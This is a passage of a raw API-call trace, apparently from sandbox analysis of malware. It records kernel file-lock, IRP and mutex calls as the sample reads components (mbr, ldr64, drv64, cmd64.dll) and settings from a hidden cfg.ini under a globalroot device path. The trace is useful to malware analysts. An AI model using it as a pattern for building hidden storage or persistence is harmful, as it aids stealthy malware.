FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.268] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.268] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.268] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.268] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.268] IdePortDispatch () returned 0x103 [0130.269] KeWaitForMutexObject () returned 0x0 [0130.269] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.269] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.269] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.269] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.269] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.269] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.269] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.269] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.269] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.269] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.269] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.269] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.269] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.269] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.269] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.269] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.269] KeLeaveCriticalRegion () [0130.269] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.269] ReleaseMutex (hMutex=0x100) returned 1 [0130.269] Sleep (dwMilliseconds=0x2bf20) [0130.276] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70d89270, dwHighDateTime=0x1d24fa4)) [0130.276] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0130.276] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.277] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.277] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.277] KeEnterCriticalRegion () [0130.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.277] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.277] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.277] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.277] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.277] IdePortDispatch () returned 0x103 [0130.277] KeWaitForMutexObject () returned 0x0 [0130.277] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.277] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.277] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.277] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.277] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.277] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c910 [0130.277] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.277] KeLeaveCriticalRegion () [0130.277] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.277] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.277] KeEnterCriticalRegion () [0130.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.277] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.277] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.277] KeLeaveCriticalRegion () [0130.277] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.277] KeEnterCriticalRegion () [0130.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.277] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.277] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.277] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.277] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.277] IdePortDispatch () returned 0x103 [0130.278] KeWaitForMutexObject () returned 0x0 [0130.278] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.278] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.278] KeLeaveCriticalRegion () [0130.278] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.278] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.278] KeEnterCriticalRegion () [0130.278] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.278] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d51000 [0130.278] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.278] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.278] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.278] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.278] IdePortDispatch () returned 0x103 [0130.278] KeWaitForMutexObject () returned 0x0 [0130.278] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.278] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.278] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.278] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.278] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.278] IdePortDispatch () returned 0x103 [0130.278] KeWaitForMutexObject () returned 0x0 [0130.279] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.279] KeLeaveCriticalRegion () [0130.279] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.279] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.279] KeEnterCriticalRegion () [0130.279] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.279] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.279] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.279] KeLeaveCriticalRegion () [0130.279] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.279] KeEnterCriticalRegion () [0130.279] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.279] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.279] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294c9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.279] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.279] KeLeaveCriticalRegion () [0130.279] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.279] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.280] KeEnterCriticalRegion () [0130.280] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.280] ExFreePoolWithTag (P=0xfffffa800294c910, Tag=0x0) [0130.280] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.280] KeLeaveCriticalRegion () [0130.280] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.280] ReleaseMutex (hMutex=0xf0) returned 1 [0130.280] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.280] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.280] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.280] KeEnterCriticalRegion () [0130.280] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.280] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.280] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.280] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.280] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.280] IdePortDispatch () returned 0x103 [0130.280] KeWaitForMutexObject () returned 0x0 [0130.280] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.280] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.280] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.280] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.280] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.280] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294dfb0 [0130.280] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.280] KeLeaveCriticalRegion () [0130.280] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.280] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.280] KeEnterCriticalRegion () [0130.280] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.280] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.281] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.281] KeLeaveCriticalRegion () [0130.281] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.281] KeEnterCriticalRegion () [0130.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.281] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.281] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.281] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.281] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.281] IdePortDispatch () returned 0x103 [0130.281] KeWaitForMutexObject () returned 0x0 [0130.281] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.281] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.281] KeLeaveCriticalRegion () [0130.281] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.281] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.281] KeEnterCriticalRegion () [0130.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.281] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d52000 [0130.281] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.281] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.281] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.281] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.281] IdePortDispatch () returned 0x103 [0130.281] KeWaitForMutexObject () returned 0x0 [0130.282] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.282] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.282] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.282] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.282] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.282] IdePortDispatch () returned 0x103 [0130.282] KeWaitForMutexObject () returned 0x0 [0130.282] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.282] KeLeaveCriticalRegion () [0130.282] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.282] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.282] KeEnterCriticalRegion () [0130.282] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.282] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.282] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.282] KeLeaveCriticalRegion () [0130.283] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.283] KeEnterCriticalRegion () [0130.283] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.283] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.283] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294d070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.283] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.283] KeLeaveCriticalRegion () [0130.283] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.283] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.283] KeEnterCriticalRegion () [0130.283] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.283] ExFreePoolWithTag (P=0xfffffa800294dfb0, Tag=0x0) [0130.283] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.283] KeLeaveCriticalRegion () [0130.283] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.283] ReleaseMutex (hMutex=0xf0) returned 1 [0130.283] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.283] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0130.283] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.283] KeEnterCriticalRegion () [0130.283] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.283] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.283] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.283] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.283] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.283] IdePortDispatch () returned 0x103 [0130.283] KeWaitForMutexObject () returned 0x0 [0130.283] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.283] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.283] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.283] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.284] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.284] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294cc70 [0130.284] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.284] KeLeaveCriticalRegion () [0130.284] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.284] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.284] KeEnterCriticalRegion () [0130.284] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.284] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.284] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.284] KeLeaveCriticalRegion () [0130.284] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.284] KeEnterCriticalRegion () [0130.284] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.284] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.284] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.284] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.284] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.284] IdePortDispatch () returned 0x103 [0130.284] KeWaitForMutexObject () returned 0x0 [0130.284] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.284] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.284] KeLeaveCriticalRegion () [0130.284] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.284] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.284] KeEnterCriticalRegion () [0130.284] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.284] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d53000 [0130.284] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.284] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.284] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.284] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.285] IdePortDispatch () returned 0x103 [0130.285] KeWaitForMutexObject () returned 0x0 [0130.285] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.285] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.285] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.285] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.285] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.285] IdePortDispatch () returned 0x103 [0130.285] KeWaitForMutexObject () returned 0x0 [0130.285] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.285] KeLeaveCriticalRegion () [0130.285] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.286] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.286] KeEnterCriticalRegion () [0130.286] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.286] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.286] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.286] KeLeaveCriticalRegion () [0130.286] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.286] KeEnterCriticalRegion () [0130.286] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.286] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.286] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.286] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.286] KeLeaveCriticalRegion () [0130.286] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.286] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.286] KeEnterCriticalRegion () [0130.286] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.286] ExFreePoolWithTag (P=0xfffffa800294cc70, Tag=0x0) [0130.286] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.286] KeLeaveCriticalRegion () [0130.286] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.286] ReleaseMutex (hMutex=0xf0) returned 1 [0130.286] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0130.286] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0130.286] CreateFileA 